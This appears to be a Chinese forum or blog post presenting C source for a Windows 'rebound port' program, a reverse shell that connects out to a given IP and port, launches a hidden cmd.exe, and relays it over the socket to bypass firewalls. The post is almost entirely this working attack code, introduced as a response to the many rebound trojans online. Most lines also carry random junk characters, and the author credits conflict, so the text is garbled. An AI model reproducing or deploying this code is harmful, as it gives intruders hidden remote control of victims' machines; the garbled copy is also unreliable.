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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4P?R "Lk  
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/* ============================== zxC~a97`  
Rebound port in Windows NT OZ4%6/  
By wind,2006/7 l*b0uF  
===============================*/ @me ( pnD  
#include B8>3GZi  
#include jE!?;} P1  
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#pragma comment(lib,"wsock32.lib") 4^7*R  
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void OutputShell(); h@@q:I=  
SOCKET sClient; wRu\9H}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :czUOZ_  
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void main(int argc,char **argv) +pxtar  
{ x.>&|Ej  
WSADATA stWsaData; UV\&9>@L  
int nRet; HXgf=R/$  
SOCKADDR_IN stSaiClient,stSaiServer; z6Zd/mt~x  
P\&n0C~  
if(argc != 3) >:|jds#  
{ }*c[} VLN  
printf("Useage:\n\rRebound DestIP DestPort\n"); ne# %Gr  
return; +HEL^  
} ,'byJlw_pv  
zcOG[-  
WSAStartup(MAKEWORD(2,2),&stWsaData); q OV$4[r  
nG7E j#1  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <x1,4a~  
#YK=e&da  
stSaiClient.sin_family = AF_INET; G$t:#2  
stSaiClient.sin_port = htons(0); R<Ct{f!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vu3zZMl  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o$Z]qhq  
{ O +Xu ?W]  
printf("Bind Socket Failed!\n"); |`O210B@  
return; EO\- J-nM  
} & sgzSX  
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stSaiServer.sin_family = AF_INET; 0}- MWbG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RY]jY | E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q U^`fIa  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) },,K6*P  
{ @Uqcym.  
printf("Connect Error!"); 7W=s.Gy7G\  
return; ?tkd5kE  
} t8uaNvUM}e  
OutputShell(); vs{xr*Ft  
} F@1Eg  
p*|Ct  
void OutputShell() 8r.3t\o)X  
{ Yq%r\[%*  
char szBuff[1024]; 9j<7KSj  
SECURITY_ATTRIBUTES stSecurityAttributes; %8lWJwb7u  
OSVERSIONINFO stOsversionInfo; 6A-nhvDP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QxiAC>%K  
STARTUPINFO stStartupInfo; t]+h.  
char *szShell; vlPViHF.  
PROCESS_INFORMATION stProcessInformation; UxvT|~"  
unsigned long lBytesRead; =W"9a\m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K%YR; )5A  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \iAs  
stSecurityAttributes.lpSecurityDescriptor = 0; C,,S<=L:  
stSecurityAttributes.bInheritHandle = TRUE; B1va]=([)W  
07>Iq8<mu  
H'jo 3d~+  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F+9(*|x%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j5m]zh5\J=  
Dj{=Y`Tw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4#ZZwa]y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {  P@mAw  
stStartupInfo.wShowWindow = SW_HIDE; EO"G(v  
stStartupInfo.hStdInput = hReadPipe; ( #rhD}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q$x 3uH\@  
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GetVersionEx(&stOsversionInfo); XyD*V;.E  
nw=:+?  
switch(stOsversionInfo.dwPlatformId) :</KgR0I  
{ ( \7Yo^  
case 1: t{O2JF#5u  
szShell = "command.com"; '19kP.  
break; U\6Ee-1#_  
default: ,Ofou8C6  
szShell = "cmd.exe"; GhW{6.^  
break; 9C: V i  
} YT<(2u#Ng  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b#Vm;6BHD1  
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send(sClient,szMsg,77,0); Rzxkz  
while(1) \+)AQ!E  
{ 6IKi*}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dwVo"_Yr  
if(lBytesRead) NQ,2pM<*-  
{ R?}<Cj I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #<yKG\X?  
send(sClient,szBuff,lBytesRead,0); H'x_}y  
} D "X`qF6U7  
else Y {2L[5_1  
{ P*kC>lvSv  
lBytesRead=recv(sClient,szBuff,1024,0); j\2q2_f  
if(lBytesRead<=0) break; :{~TG]4M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @<B$LJ|jdG  
} L!^^3vn  
} =p&uQ6.i+  
TFtD>q X  
return; VevDW }4q*  
}
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